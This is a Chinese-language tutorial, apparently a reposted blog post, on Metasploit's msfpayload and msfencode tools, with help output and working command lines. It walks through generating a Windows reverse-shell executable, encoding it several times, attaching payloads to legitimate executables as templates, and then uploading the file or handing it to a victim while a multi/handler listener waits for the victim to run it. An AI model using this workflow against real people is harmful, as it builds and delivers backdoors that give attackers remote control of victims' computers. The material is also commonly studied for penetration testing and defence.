msfpayload和msfencode的介绍

网上说用msfpayload 生成什么注入进程什么攻击后门,后边的注入进程是吓唬人的,就是一种进程隐藏技术不理解没关系(解释一下:进程注入是指将可恶意的可执行代码注入到一个已经运行的进程一般是合法系统进程,达到来隐藏自身的目的。
msfpayload 这个工具主要的功能就是将Metasploit 中的 payloads(工具载荷)包装成一个可执行的文件,或者包装成指定的类型,msfpayload可以将包装好的数据输出,默认的输出设备为终端(就是 那个打开的黑窗口)。直接输出到终端上有可能输出乱码,其实这不是乱码,当数据被输出到终端是使用的是二进制,而终端显示的是二进制对应字符。也可以指定 输出到其他地方,例如网上的例子大部分是 msfpayload windows/shell/reverse_tcp X >;/root/test.exe 这一句的那个大于号“>”是个 重定向符,无论是linux下还是windows下重定向符有两种 一种是 >; 另一种是 >>; ,第一种的作用是输出到后边指定的文件中如果文件存在则覆盖文件中的内容,另一种是如果文件存在则将数据追加文件末尾的。也可以使用 管道符号 管道符号位 ”|“ 不包括双引号,意思是前边的程序输出的数据通过这个管道输出到后边的程序中 。 msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 R | msfencode -t exe -o /root/testss*e 这个例子中就使用了管道符来传送数据。
msfencode 这个工具主要的功能是对输入过来的数据进行编码( 如果不指定编码方式则使用默认编码方式)。 然后将编码后的数据包装成一个指定的课执行的文件,或者将数据附着到一个指定的已存在的文件上。msfencode 输出数据的方式和msfpayload一样,如果没有指定输出方式则默认输出到屏幕,msfencode可以使用重定向符(之前已经说过了)来输出数据到 文件,或者使用自带的 -o 参数来指定文件。msfencode编码的数据来源可以是管道传送过来的数据也可以是使用 -i 参数指定的数据文件。msfencode 的 -i 所指定的数据文件一般来说不能使一个完整的可执行文件,msfencode -i notpad.exe -t exe -x cmd -t exe -o cmdnotpad。exe 这句话愿意是 将notpad。exe 使用默认编码 附着到cmd.exe 下 输出为 cmdnotpad.exe ,这样做可以可以输出cmdnotpad.exe文件,但不能运行,我猜测msfencode只对原始数据进行编码 ,而原始数据可以使用 msfpayload 最后指定一个 R 参数来获取,网上没找到相关的说明,有找到的说一声,这些都是我的猜测希望是正确的。就是说msfencode 不能对任意文件进行编码。
下面分别看一下 msfpayload 和 msfencode 的帮助
msfpayload 的帮助相对简单
Usage: /opt/metasploit/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]*]e|[D]ll|[V]BA|[W]ar>
OPTIONS:
-h Help banner
-l List available payloads
msfpayload 的使用方法 msfpayload payload var=val specifyformate 解释:msfpayload后边跟payload ,var=val表示payload要设置的变量比如 LHOST=ip specifyformate 指定输出的格式 输出格式在帮助文档中已经说明了<[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]*]e|[D]ll|[V]BA| [W]ar> 输出语言格式使用一个字母代表一种语言格式。
msfpayload 使用的步骤:
一 msfpayload -l 列出可供选择的payload
二 msfpayload payload-name O 后边跟的是一个大写的O 查看payload 的要设置的参数
三 设置参数 生成文件 如果需要编码则用msfencode进行编码,例如 msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 X &gt;/root/a.exe
四 将生成的a.exe 传到网上 或给受害者
五 启动msfconsole 然后use exploits/multi/handler 然后 set PAYLOAD windows/shell/reverse_tcp 这里payload 要设置成跟前边的一样,参数也要一样 set LHOST 127.0.0.1 (真实情况下肯定不是这个ip)然后exploit 等待用户执行a.exe
msfencode 的帮助要相对复杂一点
OPTIONS:
-a <opt> The architecture to encode as
-b <opt> The list of characters to avoid: ‘x00xff’
-c <opt> The number of times to encode the data
-d <opt> Specify the directory in which to look for EXE templates
-e <opt> The encoder to use
-h Help banner
-i <opt> Encode the contents of the supplied file path
-k Keep template working; run payload in new thread (use with -x)
-l List available encoders
-m <opt> Specifies an additional module search path
-n Dump encoder information
-o <opt> The output file
-p <opt> The platform to encode for
-s <opt> The maximum size of the encoded data
-t <opt> The output format: raw,ruby,rb,perl,pl,bash,sh,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,war
-v Increase verbosity
-x <opt> Specify an alternate executable template
其中,参数-i 指定需要编码的文件(或程序段),
-a 指定CPU 的类型,
-b 指定需要去除的字符,帮助中的示例00 ff 这两种数值在网络传送中会被截断造成传送失败
-c 指定编码次数,
-d 指定 exe模板搜索路径,
-i 指定要编码的数据文件
-k 设置生成的文件运行后的payload进程与模板文件进程分离。
-l 列出可用payload
-n 输出编码器信息
-o 输出文件
-p 指定编码平台 linux or windows
-s 指定编码后的字节数(payload的)
-t 生成文件类型
msfencode 使用步骤
首先 获取要编码的数据 一般来说用 msfpayload 来生成 test.raw
然后 msfencode -l 列出编码
最后 编码并生成文件 msfencode -i test.raw -e encoder(编码器) -c 5 (编码次数自己制定 ) -t exe(也可以是其他类型的) -o a.exe
如果要对数据使用多种编码器进行编码 则除了最后一个编码器输出的数据类型为可执行的外之前的必须为 raw (原始数据类型)
例子
msfencode -i test.raw -e encoder1 -c 5 -t raw | msfencode -e encoder2 -c 3 -t exe -o a.exe
如果理解了前面介绍的管道和msfencode所能编码的数据格式,自己就能推出来如何进行多次编码。
最后说一下 msfencode 只是针对payload 进行的编码 并未对 文件模板进行编码

原文link:http://backtrackzone.blog.51cto.com/5612649/946587

网络安全攻防研究室(www.91ri.org)信息安全小组收集整理。